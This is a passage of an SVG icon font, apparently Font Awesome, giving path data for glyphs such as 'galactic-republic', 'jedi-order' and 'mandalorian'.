c0 9 0.629883 17.8398 1.81934 26.5098l82.3799 -4.76953l-77.9395 27.1592c3.71973 14.208 12.7822 36.0127 20.2295 48.6699l74.2207 -35.9199l-61.5205 54.8604c8.88086 11.6836 25.582 28.3584 37.2803 37.2197l54.7598 -61.5293l-35.8301 74.1699
c12.6562 7.41895 34.4521 16.4375 48.6504 20.1299l26.8701 -77.25l-4.70996 81.6094c8.60938 1.18066 17.3896 1.80078 26.3193 1.80078c8.93066 0 17.71 -0.620117 26.3203 -1.80078l-4.74023 -82.1592l27.0498 77.7598c17.2705 -4.5 33.6006 -11.3506 48.6309 -20.1699
l-35.8203 -74.1201l54.7197 61.4697c11.6924 -8.86133 28.376 -25.54 37.2402 -37.2295l-61.4502 -54.7705l74.1201 35.8604c7.43945 -12.6533 16.4893 -34.4492 20.2002 -48.6504l-77.8105 -27.0996l82.2402 4.75c1.19043 -8.66016 1.82031 -17.5 1.82031 -26.4902
c0 -8.87988 -0.610352 -17.6299 -1.78027 -26.1904l-82.1201 4.75z" />
    <glyph glyph-name="fulcrum" unicode="&#xf50b;" horiz-adv-x="320" 
d="M95.75 283.86l-35.3799 -43.5508l-35.3701 43.5508l35.3799 43.5498zM144.23 448v-211.11l-41.0801 -44.8896l41.0801 -44.8896v-211.11l-20.5107 198.18l-51 57.8203l50.9707 57.8203zM223.9 283.86l35.3799 43.5498l35.3799 -43.5498l-35.3799 -43.5508zM175.42 236.86
v211.14l20.5801 -198.18l51 -57.8203l-51 -57.8203l-20.5801 -198.18v211.11l41.0801 44.8896z" />
    <glyph glyph-name="galactic-republic" unicode="&#xf50c;" horiz-adv-x="496" 
d="M248 -56c-136.75 0 -248 111.25 -248 248s111.25 248 248 248s248 -111.25 248 -248s-111.25 -248 -248 -248zM248 423.47c-127.63 0 -231.47 -103.84 -231.47 -231.47s103.84 -231.47 231.47 -231.47s231.47 103.84 231.47 231.47s-103.84 231.47 -231.47 231.47z
M275.62 401.66c37.6602 -4.91016 72.21 -19.7402 100.96 -41.7998l-17.3896 -17.3604c-20.6758 15.3154 -58.1152 30.7891 -83.5703 34.54v24.6201zM220.25 401.59v-24.54c-30.9697 -4.60938 -59.4502 -16.8301 -83.5195 -34.6699h-0.0800781l-17.2803 17.3604
c28.7197 22.0498 63.2402 36.9102 100.88 41.8496zM232.5 351.42h31v-82.8604c10.0498 -2.0293 19.3701 -6.00977 27.6201 -11.5l58.6699 58.6709l21.9297 -21.9307l-58.6699 -58.6699c5.46973 -8.24023 9.48047 -17.5996 11.5 -27.6201h82.8701v-31h-82.8701
c-2.03027 -10.0195 -6.04004 -19.3096 -11.5 -27.54l58.6699 -58.6895l-21.9297 -21.9307l-58.6699 58.6904c-8.25 -5.49023 -17.5703 -9.52051 -27.6201 -11.5498v-82.9004h-31v82.9004c-8.25781 1.66895 -20.6533 6.80762 -27.6699 11.4697l-58.6201 -58.6201
l-21.9297 21.9297l58.6699 58.6904c-5.45996 8.23047 -9.4502 17.5205 -11.4697 27.54h-82.9004v31h82.9004c2.01953 10.0303 6 19.3896 11.4697 27.6201l-58.6699 58.6699l21.9297 21.9297l58.6201 -58.5898c8.25 5.48047 17.6299 9.38965 27.6699 11.4199v82.8701z
M415.74 320.7c22.0996 -28.7402 36.9795 -63.3398 41.9297 -101.03h-24.6201c-3.7832 25.4902 -19.3154 62.9746 -34.6699 83.6699zM80.1904 320.57l17.3896 -17.3906c-17.8301 -24.0693 -29.9902 -52.5596 -34.5898 -83.5195h-24.6504
c4.94043 37.6494 19.79 72.1895 41.8506 100.91zM38.3398 164.33l24.6504 0.00976562c4.58984 -30.9502 16.7002 -59.4502 34.5098 -83.5195l-17.3604 -17.3906c-22.0498 28.7207 -36.8799 63.2607 -41.7998 100.9zM433.04 164.33h24.6201
c-4.9502 -37.6699 -19.8506 -72.2197 -41.9297 -100.96l-17.3604 17.3604c17.8701 24.0996 30.0596 52.6094 34.6699 83.5996zM136.66 41.6201c24.0703 -17.8604 52.6094 -30.0205 83.5996 -34.6504v-24.6396c-37.6602 4.9502 -72.2295 19.8398 -100.96 41.9297z
M359.19 41.5703h0.0791016l17.3105 -17.3906c-28.75 -22.0596 -63.29 -36.9297 -100.96 -41.8496v24.5703c30.9902 4.58984 59.4795 16.8301 83.5703 34.6699z" />
    <glyph glyph-name="galactic-senate" unicode="&#xf50d;" horiz-adv-x="512" 
d="M249.86 414.52h12.2793v-26.0693c13.5801 -20.6201 23.8604 -108.59 24.4902 -215.351c-11.7402 15.6201 -19.1299 33.3301 -19.1299 48.2402v16.8799c0.0302734 5.32031 -0.75 10.5303 -2.19043 15.6504c-0.649414 2.13965 -1.38965 4.07031 -2.61914 5.82031
c-1.23047 1.73926 -3.44043 3.79004 -6.68066 3.79004c-3.25 0 -5.4502 -2.04004 -6.67969 -3.79004c-1.23047 -1.74023 -1.96973 -3.68066 -2.62012 -5.82031c-1.44043 -5.12012 -2.21973 -10.3301 -2.19043 -15.6504v-16.8799
c0 -14.9102 -7.38965 -32.6201 -19.1299 -48.2402c0.610352 106.761 10.8906 194.73 24.4707 215.351v26.0693zM223.52 266.75c-1.59961 -22.4004 -2.75 -46.5195 -3.47949 -72.0703c-23.2998 -11.2793 -40.7705 -33.1602 -46.3203 -59.5098
c-7.71973 -2.25977 -22.71 -3.91992 -40.4893 -4.21973c-7.51074 3.66016 -16.5 5.85938 -26.1807 6.04004c1.90039 14.9102 5.87012 29.1699 11.6504 42.4199c15.4395 -8.10059 30.9297 -8.66016 35.4697 -0.959961c4.57031 7.74023 -3.58984 21.04 -18.3203 30.6602
c8.68066 11.7695 18.9805 22.2998 30.5605 31.0898c9.50977 -15.5898 23.3594 -24.4404 31.3594 -19.8203c8.05078 4.65039 7.19043 21.1699 -1.70996 37.29c8.76074 3.88965 17.9404 6.92969 27.46 9.08008zM288.48 266.75
c7.82227 -1.75977 20.1201 -5.82812 27.4492 -9.08008c-8.89941 -16.1299 -9.75977 -32.6396 -1.70996 -37.29c8 -4.62012 21.8506 4.23047 31.3604 19.8203c11.5801 -8.79004 21.8799 -19.3203 30.5596 -31.0898c-14.7197 -9.61035 -22.8896 -22.9199 -18.3193 -30.6602
c4.54004 -7.7002 20.0293 -7.14062 35.4697 0.959961c5.79004 -13.25 9.75 -27.5098 11.6504 -42.4199c-9.68066 -0.19043 -18.6709 -2.37988 -26.1807 -6.04004c-17.7793 0.299805 -32.7695 1.95996 -40.4902 4.21973c-5.5498 26.3496 -23.0293 48.2305 -46.3193 59.5098
c-0.719727 25.5508 -1.87988 49.6699 -3.46973 72.0703zM256 258.15c3.23047 0 5.86035 -8.81055 6.08984 -19.9307h0.0498047v-16.8799c0 -41.4199 49.0107 -95.04 93.4902 -95.04c52 0 122.76 1.4502 156.37 -29.1699v-2.50977
c-9.41992 -17.1104 -20.5801 -33.1699 -33.1797 -47.9697c-12.5303 21.0898 -51.5898 40.96 -108.021 41.3496c-45.6797 -1.01953 -79.0195 -20.3301 -90.7598 -40.8701c-0.00976562 -0.00976562 0.00976562 -0.0400391 0 -0.0498047
c-7.66992 -2.13965 -15.8496 -3.23047 -24.04 -3.20996c-8.19043 -0.0205078 -16.3701 1.07031 -24.04 3.20996c-0.00976562 0.00976562 0.00976562 0.0400391 0 0.0498047c-11.7295 20.54 -45.0801 39.8506 -90.7598 40.8701
c-56.4307 -0.400391 -95.5 -20.2598 -108.021 -41.3496c-12.5996 14.7998 -23.7598 30.8496 -33.1797 47.9697v2.50977c33.6201 30.6201 104.37 29.1699 156.37 29.1699c44.4795 0 93.4902 53.6201 93.4902 95.04v16.8799h0.0498047
c0.229492 11.1201 2.85938 19.9307 6.08984 19.9307zM256 161.56c-22.4199 0 -40.5996 -18.1797 -40.5996 -40.5996s18.1797 -40.6504 40.5996 -40.6504s40.5996 18.2305 40.5996 40.6504s-18.1797 40.5996 -40.5996 40.5996zM256 153.92
c18.1904 0 32.96 -14.7695 32.96 -32.96s-14.7695 -32.96 -32.96 -32.96s-32.96 14.7695 -32.96 32.96s14.7695 32.96 32.96 32.96zM256 147.78c-14.8096 0 -26.8203 -12.0107 -26.8203 -26.8203s12.0107 -26.8203 26.8203 -26.8203s26.8203 12.0107 26.8203 26.8203
s-12.0107 26.8203 -26.8203 26.8203zM141.2 81.1104c18.75 -0.419922 35.1895 -4.18066 48.6094 -9.66992c12.5508 -16.0303 29.1602 -30.04 49.5801 -33.0703c0.100586 -0.00976562 0.169922 -0.0302734 0.270508 -0.0498047
c0.0498047 -0.0107422 0.109375 -0.0400391 0.160156 -0.0507812c5.23926 -1.06934 10.6396 -1.59961 16.1895 -1.59961c5.56055 0 10.9502 0.530273 16.1904 1.59961c0.0498047 0.0107422 0.109375 0.0400391 0.160156 0.0507812
c0.0996094 0.00976562 0.179688 0.0292969 0.269531 0.0498047c20.4199 3.04004 37.04 17.04 49.5801 33.0703c13.4199 5.5 29.8496 9.25 48.6104 9.66992c10.1797 -0.0800781 21.5996 -0.360352 30.5 -1.66016c-0.430664 -4.41992 -1.51074 -18.6299 -7.11035 -29.7598
c-9.11035 2.55957 -18.3604 3.89941 -27.6201 3.89941c-41.2803 -0.939453 -71.4795 -34.3496 -78.2598 -74.4697l-0.110352 -4.7002c-10.3994 -1.91992 -21.1797 -2.93945 -32.21 -2.93945c-11.0195 0 -21.8096 1.0293 -32.21 2.93945l-0.109375 4.7002
c-6.78027 40.1201 -36.9805 73.5303 -78.2607 74.4697c-9.25977 0 -18.5098 -1.33984 -27.6201 -3.89941c-5.59961 11.1299 -6.67969 25.3398 -7.10938 29.7598c8.89941 1.2998 20.3096 1.58984 30.5 1.66016z" />
    <glyph glyph-name="jedi-order" unicode="&#xf50e;" 
d="M398.5 74.4004c0 0 26.2998 16.1992 49.9004 77.6992c0 0 -17 -183.3 -222 -185.699h-4.10059c-205.1 2.39941 -222 185.699 -222 185.699c23.2002 -61.5996 49.4004 -77.6992 49.4004 -77.6992c-95.9004 122.1 -17.2002 233.1 -17.2002 233.1
c-45.4004 -85.7002 41.4004 -170.5 41.4004 -170.5c-105 171.6 60.5 271.5 60.5 271.5c-96.9004 -72.5996 10.0996 -190.7 10.0996 -190.7c-85.7998 -158.399 68.5996 -230.1 68.5996 -230.1s0.400391 16.8994 2.2002 85.7002l-34.5 -36.2002l24.2002 47.3994
l-62.5996 9.10059l62.5996 9.09961l-20.2002 55.5l31.4004 -45.8994c2.2998 87.8994 7.89941 305.899 7.89941 306.899v2.40039v-1v1v-2.40039c0.100586 -1.7998 5.7002 -219.2 7.90039 -306.899l31.4004 45.8994l-20.2002 -55.5l62.5996 -9.09961l-62.5996 -9.10059
l24.2002 -47.3994s-30.2002 31.7002 -34.5 36.2002c1.7998 -68.8008 2.19922 -85.7002 2.19922 -85.7002s154.4 71.7002 68.6006 230.1c0 0 107 118 10.0996 190.7c0 0 165.5 -100 60.5 -271.5c0 0 86.7998 84.7002 41.4004 170.5c0 0 78.7002 -111 -17.2002 -233.1z" />
    <glyph glyph-name="mandalorian" unicode="&#xf50f;" 
d="M232.27 -63.8896c-1 3.25977 -1.68945 15.8301 -1.38965 24.5801c0.549805 15.8896 1 24.7197 1.40039 28.7598c0.639648 6.2002 2.87012 20.7197 3.2793 21.3799c0.600586 1 0.400391 27.8701 -0.239258 33.1299c-0.310547 2.58008 -0.629883 11.9004 -0.69043 20.7305
c-0.129883 16.4697 -0.530273 20.1191 -2.72949 24.7598c-1.10059 2.31934 -1.23047 3.83984 -1 11.4297c0.0449219 1.07324 0.0820312 2.81641 0.0820312 3.89062c0 2.43945 -0.189453 6.39062 -0.422852 8.81934c-2 13 -3.45996 27.7002 -3.25 33.9004
s0.430664 7.14941 2.06055 9.66992c3.0498 4.70996 6.50977 14 8.62012 23.2695c2.25977 9.86035 3.87988 17.1807 4.58984 20.7402c0.921875 4.24121 2.90137 10.9834 4.41992 15.0498c2.26953 6.25 2.49023 15.3906 0.370117 15.3906
c-0.299805 0 -1.37988 -1.2207 -2.41016 -2.70996c-1.03027 -1.49023 -4.75977 -4.80078 -8.29004 -7.36035c-8.37012 -6.08008 -11.7002 -9.38965 -12.6602 -12.5801s-1 -7.22949 -0.160156 -7.75977c0.34082 -0.209961 1.29004 -2.40039 2.11035 -4.87988
c0.791992 -2.41602 1.43457 -6.43945 1.43457 -8.98145c0 -1.78223 -0.320312 -4.64062 -0.714844 -6.37891c-0.389648 -1.76953 -1 -5.46973 -1.45996 -8.22949c-0.459961 -2.76074 -1 -6.46094 -1.25 -8.2207c-0.149414 -1.27637 -0.84375 -3.18555 -1.5498 -4.25977
c-1 -1 -1.13965 -0.910156 -2.0498 0.530273c-0.619141 1.24316 -1.26465 3.37109 -1.44043 4.75c-0.25 1.73926 -1.62988 7.10938 -3.08008 11.9297c-3.2793 10.9004 -3.51953 16.1504 -1 21c0.683594 1.19141 1.43164 3.25684 1.66992 4.61035
c0 2.38965 -2.19922 5.31934 -7.40918 9.88965c-7 6.17969 -8.62988 7.91992 -10.2305 11.2998c-1.70996 3.60059 -3.05957 4.06055 -4.54004 1.54004c-1.78027 -3 -2.59961 -9.10938 -3 -22l-0.339844 -12.1895l2 -2.25c3.20996 -3.7002 12.0703 -16.4502 13.7803 -19.8301
c3.41016 -6.74023 4.33984 -11.6904 4.41016 -23.5605c0.0693359 -11.8701 0.949219 -22.75 2 -24.71c0.359375 -0.660156 0.509766 -1.34961 0.339844 -1.51953s0.410156 -2.08984 1.29004 -4.27051c0.871094 -2.41406 1.79395 -6.44629 2.05957 -9
c0.306641 -2.88867 1.07227 -7.53516 1.70996 -10.3701c2.23047 -9.55957 2.77051 -14.0801 2.39062 -20.1396c-0.200195 -3.26953 -0.530273 -11.0703 -0.730469 -17.3203c-1.30957 -41.7598 -1.84961 -58 -2 -61.21c-0.120117 -2 -0.389648 -11.5098 -0.599609 -21.0693
c-0.360352 -16.3008 -1.30078 -27.3701 -2.41992 -28.6504c-0.640625 -0.729492 -8.07031 4.91016 -12.5205 9.49023c-3.75 3.87012 -4 4.79004 -2.83008 9.9502c0.700195 3 2.25977 18.29 3.33008 32.6191c0.360352 4.78027 0.80957 10.5 1 12.7109
c0.830078 9.36914 1.66016 20.3496 2.61035 34.7793c0.55957 8.45996 1.33008 16.4404 1.71973 17.7305s0.889648 9.88965 1.12988 19.1094l0.429688 16.7705l-2.25977 4.2998c-1.71973 3.28027 -4.87012 6.94043 -13.2197 15.3398
c-6 6.07031 -11.8398 12.2998 -12.9102 13.8506l-1.9502 2.80957l0.75 10.9004c1.08984 15.71 1.10059 48.5693 0 59.0596l-0.889648 8.7002l-3.28027 4.51953c-5.85938 8.08008 -5.7998 7.75 -6.21973 33.2705c-0.100586 6.07031 -0.379883 11.5 -0.629883 12.0596
c-0.830078 1.87012 -3.0498 2.66016 -8.54004 3.05078c-8.86035 0.619141 -11 1.89941 -23.8506 14.5498c-6.14941 6 -12.3398 12 -13.75 13.1895c-2.80957 2.41992 -2.79004 2 -0.55957 9.62988l1.34961 4.65039l-1.68945 3c-0.630859 1.17676 -1.79102 3 -2.58984 4.07031
c-1.33008 1.50977 -5.5 10.8896 -6 13.4893c-0.0859375 0.307617 -0.155273 0.816406 -0.155273 1.13574c0 0.868164 0.458984 2.10645 1.02539 2.76465c2.22949 2.86035 3.39941 5.67969 4.44922 10.7305c2.33008 11.1895 7.74023 26.0898 10.6006 29.2197
c3.17969 3.46973 7.7002 1 9.41016 -5c1.33984 -4.79004 1.36914 -9.79004 0.0996094 -18.5498c-0.445312 -3.05176 -0.893555 -8.02832 -1 -11.1104c0 -4 0.19043 -4.69043 2.25 -7.38965c3.33008 -4.37012 7.72949 -7.41016 15.2002 -10.5205
c1.41992 -0.591797 3.53418 -1.86914 4.71973 -2.84961c11.1699 -10.7207 18.6201 -16.1807 22.9502 -16.8506c5.17969 -0.799805 8 -4.54004 10 -13.3896c1.30957 -5.65039 4 -11.1396 5.45996 -11.1396c0.994141 0.203125 2.48633 0.826172 3.33008 1.38965
c2 1.21973 2.25 1.73047 2.25 4.17969c-0.21875 4.96191 -1.11523 12.9541 -2 17.8398c-0.370117 1.66016 -0.780273 4.06055 -0.930664 5.35059c-0.149414 1.29004 -0.609375 3.84961 -1 5.68945c-2.5498 11.1602 -3.64941 15.46 -4.09961 16
c-1.5498 2 -4.08008 10.2002 -4.92969 15.9209c-1.64062 11.1094 -4 14.2295 -12.9102 17.3896c-4.0791 1.50293 -10.0547 5.0332 -13.3398 7.87988c-1.15039 1 -4 3.21973 -6.35059 5.05957c-2.34961 1.84082 -4.40918 3.53027 -4.59961 3.76074
c-0.701172 0.606445 -1.90625 1.50293 -2.69043 2c-6.23926 4.21973 -8.83984 7 -11.2598 12l-2.43945 5l-0.220703 13l-0.219727 13l6.91016 6.5498c3.9502 3.75 8.47949 7.34961 10.5898 8.42969c3.30957 1.69043 4.4502 1.89062 11.3701 2
c8.53027 0.19043 10.1201 0 11.6602 -1.55957c1.54004 -1.56055 1.35938 -6.40039 -0.290039 -8.5c-0.501953 -0.564453 -1.10156 -1.60352 -1.33984 -2.32031c0 -0.580078 -2.61035 -4.91016 -5.41992 -9c-0.879883 -1.80371 -1.94141 -4.85938 -2.37012 -6.82031
c20.4395 -13.3896 21.5498 -3.76953 14.0693 -29l11.3604 -2.51953c3.11035 8.66016 6.46973 17.2598 8.61035 26.2197c0.290039 7.62988 -12 4.19043 -15.4004 8.68066c-2.33008 5.92969 3.12988 14.1797 6.05957 19.1992c1.60059 2.33984 6.62012 4.7002 8.82031 4.15039
c0.879883 -0.219727 4.16016 0.349609 7.37012 1.28027c2.04395 0.641602 5.42676 1.39453 7.5498 1.67969c1.69336 0.183594 4.38184 0.760742 6 1.29004c3.65039 1.11035 4.5 1.16992 6.35059 0.400391c1.56738 -0.539062 4.1748 -1.14844 5.81934 -1.36035
c1.74902 -0.236328 4.43652 -1.0918 6 -1.91016c1.30762 -0.765625 3.54785 -1.73828 5 -2.16992c2.51074 -0.679688 3 -0.570312 7.05078 1.66992l4.34961 2.40039l10.7402 0.389648c10.4395 0.400391 10.8096 0.469727 15.2598 2.67969l4.58008 2.32031l2.45996 -1.42969
c1.75977 -1 3.13965 -2.73047 4.84961 -6c2.36035 -4.51074 2.37988 -4.58008 1.37012 -7.37012c-0.879883 -2.44043 -0.889648 -3.2998 -0.0996094 -6.39062c0.435547 -1.68164 1.37695 -4.3291 2.09961 -5.90918c0.535156 -1.04785 1.12207 -2.83984 1.31055 -4
c0.30957 -4.33008 0 -5.30078 -2.41016 -6.91992c-2.16992 -1.4707 -7 -7.91016 -7 -9.34082c-0.206055 -0.859375 -0.685547 -2.2041 -1.07031 -3c-5 -11.5098 -6.75977 -13.5596 -14.2598 -17c-9.2002 -4.19922 -12.2998 -5.18945 -16.21 -5.18945
c-3.10059 0 -4 -0.25 -4.54004 -1.25977c-0.972656 -1.19629 -2.80566 -2.8584 -4.08984 -3.70996c-1.53223 -1.02344 -3.49512 -3.16504 -4.37988 -4.78027c-0.411133 -1.04004 -1.52734 -2.34375 -2.49023 -2.91016
c-0.78125 -0.321289 -1.87891 -1.08789 -2.4502 -1.70996c-1.83496 -1.61133 -4.9707 -4.02148 -7 -5.37988c-3.33008 -2.33984 -6.87012 -5 -7.87012 -6c-0.560547 -0.604492 -1.62695 -1.36621 -2.37988 -1.7002c-0.697266 -0.314453 -1.65137 -1.05273 -2.12988 -1.65039
c-1.31055 -1.38965 -1.49023 -2.10938 -1.13965 -4.59961c0.255859 -1.65527 0.892578 -4.29004 1.41992 -5.87988c1.31934 -3.7998 1.30957 -7.86035 0 -10.5703c-1.31055 -2.70996 -0.890625 -6.64941 1.34961 -9.58984c2 -2.62988 2.16016 -4.55957 0.709961 -8.83984
c-0.587891 -2.27344 -1.06445 -6.02344 -1.06445 -8.37109c0 -0.148438 0.00195312 -0.390625 0.00488281 -0.539062c0 -4.87988 0.219727 -6.28027 1.45996 -8.37988c1.23926 -2.09961 1.81934 -2.48047 3.23926 -2.32031c2 0.230469 2.30078 1.0498 4.70996 12.1201
c2.18066 10 3.70996 11.9199 13.7607 17.0801c2.93945 1.50977 7.45996 4 10 5.44043c2.54004 1.43945 6.79004 3.68945 9.37012 4.90918c4.99414 2.18652 11.8125 7.41504 15.2197 11.6709c7.10938 8.78906 10 16.2197 12.8496 33.2998
c0.298828 2.31445 1.58008 5.77832 2.86035 7.72949c1.19434 1.86133 2.48828 5.13574 2.88965 7.31055c1 5.2998 2.85059 9.08008 5.58008 11.5098c4.7002 4.17969 6 1.08984 4.58984 -10.8701c-0.459961 -3.86035 -1.09961 -10.3301 -1.43945 -14.3799l-0.610352 -7.36035
l4.4502 -4.08984l4.4502 -4.08984l0.109375 -8.41992c0.0605469 -4.62988 0.470703 -9.53027 0.919922 -10.8896l0.820312 -2.4707l-6.42969 -6.2793c-8.54004 -8.33008 -12.8799 -13.9307 -16.7598 -21.6104c-1.77051 -3.49023 -3.74023 -7.11035 -4.38086 -8
c-2.17969 -3.11035 -6.45996 -13 -8.75977 -20.2598l-2.29004 -7.2207l-7 -6.48926c-3.83008 -3.57031 -8 -7.25 -9.16992 -8.16992c-3.0498 -2.32031 -4.25977 -5.15039 -4.25977 -10c-0.00683594 -0.166992 -0.0126953 -0.438477 -0.0126953 -0.605469
c0 -1.94336 0.717773 -4.9248 1.60254 -6.65527c0.660156 -1.29688 1.59668 -3.45996 2.08984 -4.83008c0.290039 -0.875 0.993164 -2.16992 1.57031 -2.88965c1.40039 -1.58984 1.91992 -16.1201 0.830078 -23.2197c-0.679688 -4.48047 -3.62988 -12 -4.7002 -12
c-1.79004 0 -4.05957 -9.27051 -5.07031 -20.7402c-0.179688 -2 -0.620117 -5.94043 -1 -8.7002s-1 -10 -1.34961 -16.0498c-0.770508 -12.2197 -0.19043 -18.7705 2 -23.1504c3.41016 -6.68945 0.519531 -12.6895 -11 -22.8398l-4 -3.49023l0.0703125 -5.18945
c0.0439453 -2.4834 0.554688 -6.45703 1.13965 -8.87012c4.61035 -16 4.73047 -16.9199 4.37988 -37.1299c-0.459961 -26.4004 -0.259766 -40.2705 0.629883 -44.1504c0.410156 -1.91406 0.893555 -5.05078 1.08008 -7c0.169922 -2 0.660156 -5.33008 1.08008 -7.35938
c0.469727 -2.26074 0.780273 -11 0.790039 -22.7402v-19.0605l-1.80957 -2.62988c-2.70996 -3.91016 -15.1104 -13.54 -15.4902 -12.29zM261.8 -18.7803c-0.179688 0.299805 -0.330078 6.87012 -0.330078 14.5898c0 14.0605 -0.889648 27.54 -2.25977 34.4502
c-0.400391 2 -0.80957 9.7002 -0.900391 17.0605c-0.149414 11.9297 -1.39941 24.3701 -2.63965 26.3799c-0.660156 1.06934 -3 17.6602 -3 21.2998c0 4.23047 1 6 5.28027 9.12988s4.85938 3.13965 5.47949 0.719727c0.280273 -1.09961 1.4502 -5.61914 2.60059 -10
c3.92969 -15.1191 4.13965 -16.2695 4.0498 -21.7393c-0.0996094 -5.78027 -0.129883 -6.12988 -1.74023 -17.7305c-1 -7.07031 -1.16992 -12.3896 -1 -28.4297c0.169922 -19.4004 -0.639648 -35.7305 -2 -41.2705c-0.709961 -2.7793 -2.7998 -5.47949 -3.42969 -4.42969z
M190.8 18.7998c-0.638672 2.95215 -1.41406 7.78613 -1.72949 10.79s-1.09082 7.83789 -1.73047 10.79c-0.433594 1.76758 -0.880859 4.6748 -1 6.49023c-0.30957 3.18945 -0.910156 7.45996 -1.33008 9.47949c-1 4.79004 -3.34961 19.3506 -3.41992 21.0703
c0 0.740234 -0.339844 4.0498 -0.700195 7.36035c-0.669922 6.20996 -0.839844 27.6699 -0.219727 28.29c1 1 6.62988 -2.76074 11.3301 -7.43066l5.28027 -5.25l-0.450195 -6.46973c-0.25 -3.55957 -0.599609 -10.2295 -0.780273 -14.8301
c-0.179688 -4.59961 -0.490234 -9.87012 -0.669922 -11.71s-0.610352 -9.36035 -0.939453 -16.7197c-0.790039 -17.4102 -1.94043 -31.29 -2.65039 -32c-0.101562 -0.107422 -0.302734 -0.193359 -0.450195 -0.193359c-0.208008 0 -0.454102 0.149414 -0.549805 0.333008
h0.00976562zM103.62 285.39c21.0703 -12.79 17.8398 -14.1494 28.4902 -17.6592c13 -4.29004 18.8701 -7.13086 23.1494 -16.8701c-43.6602 -36.1406 -69.0098 -57.8604 -76.71 -70.8604c-31 -52 -6 -101.59 62.75 -87.21c-14.1797 -29.2305 -78 -28.6299 -98.6797 4.90039
c-24.6797 39.9492 -22.0898 118.3 61 187.659v0.0400391zM314.41 106.39c56.6602 -6.87988 82.3203 37.7402 46.54 89.2305c0 0 -26.8701 29.3398 -64.2803 68c3 15.4502 9.49023 32.1201 30.5703 53.8203c89.2002 -63.5107 92 -141.61 92.46 -149.36
c4.2998 -70.6396 -78.7002 -91.1797 -105.29 -61.71v0.0195312z" />
    <glyph glyph-name="old-republic" unicode="&#xf510;" horiz-adv-x="496" 
d="M235.76 437.77c7.5 0.310547 15 0.280273 22.5 0.0908203c3.61035 -0.140625 7.2002 -0.400391 10.79 -0.730469c4.91992 -0.269531 9.79004 -1.03027 14.6699 -1.62012c2.93066 -0.429688 5.83008 -0.979492 8.75 -1.45996
c7.90039 -1.33008 15.6699 -3.28027 23.3906 -5.39941c12.2393 -3.4707 24.1895 -7.91992 35.7598 -13.21c26.5596 -12.2402 50.9395 -29.21 71.6299 -49.8809c20.0303 -20.0898 36.7197 -43.5498 48.8896 -69.1895c1.12988 -2.58984 2.44043 -5.10059 3.4707 -7.74023
c2.80957 -6.42969 5.38965 -12.9697 7.58008 -19.6299c4.13965 -12.3301 7.33984 -24.9902 9.41992 -37.8301c0.569336 -3.13965 1.04004 -6.2998 1.39941 -9.46973c0.549805 -3.83008 0.94043 -7.69043 1.18066 -11.5605
c0.829102 -8.33984 0.839844 -16.7295 0.769531 -25.0996c-0.0703125 -4.96973 -0.259766 -9.94043 -0.75 -14.8896c-0.240234 -3.38086 -0.509766 -6.76074 -0.979492 -10.1201c-0.390625 -2.7207 -0.630859 -5.45996 -1.11035 -8.16992
c-0.900391 -5.15039 -1.7002 -10.3105 -2.87012 -15.4102c-4.09961 -18.5 -10.2998 -36.5498 -18.5098 -53.6299c-15.7705 -32.8301 -38.8301 -62.1699 -67.1201 -85.1201c-14.3926 -11.7676 -39.8887 -27.3848 -56.9102 -34.8604
c-6.20996 -2.67969 -12.46 -5.25 -18.8701 -7.41016c-3.50977 -1.16016 -7.00977 -2.37988 -10.5703 -3.38965c-6.61914 -1.87988 -13.2891 -3.63965 -20.0391 -5c-4.66016 -0.910156 -9.34082 -1.73047 -14.0303 -2.48047c-5.25 -0.65918 -10.5 -1.43945 -15.79 -1.73926
c-6.69043 -0.660156 -13.4102 -0.839844 -20.1201 -0.810547c-6.82031 -0.0292969 -13.6504 0.120117 -20.4502 0.790039c-3.29004 0.230469 -6.57031 0.5 -9.83008 0.950195c-2.71973 0.389648 -5.45996 0.629883 -8.16992 1.11035
c-4.12012 0.719727 -8.25 1.37012 -12.3496 2.21973c-4.25 0.939453 -8.49023 1.88965 -12.6904 3.01953c-8.62988 2.16992 -17.0801 5.01074 -25.4102 8.13086c-10.4893 4.11914 -20.79 8.75 -30.6396 14.25c-2.13965 1.14941 -4.28027 2.28906 -6.34961 3.56934
c-11.2207 6.58008 -21.8604 14.1006 -31.9199 22.3398c-34.6807 28.4102 -61.4102 66.4307 -76.3506 108.7c-3.08984 8.74023 -5.70996 17.6504 -7.7998 26.6797c-1.48047 6.16016 -2.52051 12.4209 -3.58008 18.6602
c-0.400391 2.35059 -0.610352 4.73047 -0.950195 7.08984c-0.599609 3.96094 -0.75 7.96094 -1.16992 11.9404c-0.799805 9.46973 -0.709961 18.9902 -0.509766 28.4902c0.139648 3.50977 0.339844 7.00977 0.700195 10.5098
c0.30957 3.16992 0.459961 6.37012 0.919922 9.52051c0.410156 2.80957 0.649414 5.64941 1.16016 8.43945c0.699219 3.94043 1.2998 7.90039 2.11914 11.8203c3.43066 16.5195 8.4707 32.7295 15.2607 48.1797c1.14941 2.91992 2.58984 5.71973 3.85938 8.58984
c8.05078 16.71 17.9004 32.5605 29.4902 47.0605c20 25.3799 45.1006 46.6797 73.2705 62.4697c7.5 4.15039 15.1592 8.0498 23.0693 11.3701c15.8203 6.87988 32.4102 11.9502 49.3105 15.3799c3.50977 0.669922 7.04004 1.24023 10.5596 1.84961
c2.62012 0.470703 5.28027 0.700195 7.91016 1.08008c3.53027 0.530273 7.09961 0.680664 10.6504 1.04004c2.45996 0.240234 4.90918 0.360352 7.35938 0.509766zM244.4 413.36c-9.23047 -0.100586 -18.4307 -0.990234 -27.5703 -2.23047
c-7.2998 -1.08008 -14.5303 -2.59961 -21.71 -4.2998c-13.9102 -3.5 -27.4805 -8.33984 -40.46 -14.4199c-10.46 -4.99023 -20.5898 -10.7002 -30.1797 -17.2197c-4.18066 -2.9209 -8.40039 -5.80078 -12.3408 -9.03027
c-5.08008 -3.96973 -9.97949 -8.16992 -14.6797 -12.5898c-2.50977 -2.24023 -4.80957 -4.7002 -7.21973 -7.06055c-28.2207 -28.79 -48.4404 -65.3896 -57.5 -104.689c-2.04004 -8.44043 -3.54004 -17.0205 -4.44043 -25.6504
c-1.09961 -8.88965 -1.43945 -17.8496 -1.41016 -26.7998c0.110352 -7.13965 0.379883 -14.2803 1.2207 -21.3701c0.620117 -7.12012 1.87012 -14.1602 3.19922 -21.1797c1.07031 -4.65039 2.03027 -9.32031 3.33008 -13.9102
c6.29004 -23.3799 16.5 -45.7002 30.0703 -65.75c8.63965 -12.9805 18.7803 -24.9297 29.9805 -35.7705c16.2793 -15.8193 35.0498 -29.04 55.3398 -39.2197c7.2793 -3.51953 14.6602 -6.87012 22.2695 -9.62988c5.04004 -1.75977 10.0605 -3.57031 15.2197 -4.98047
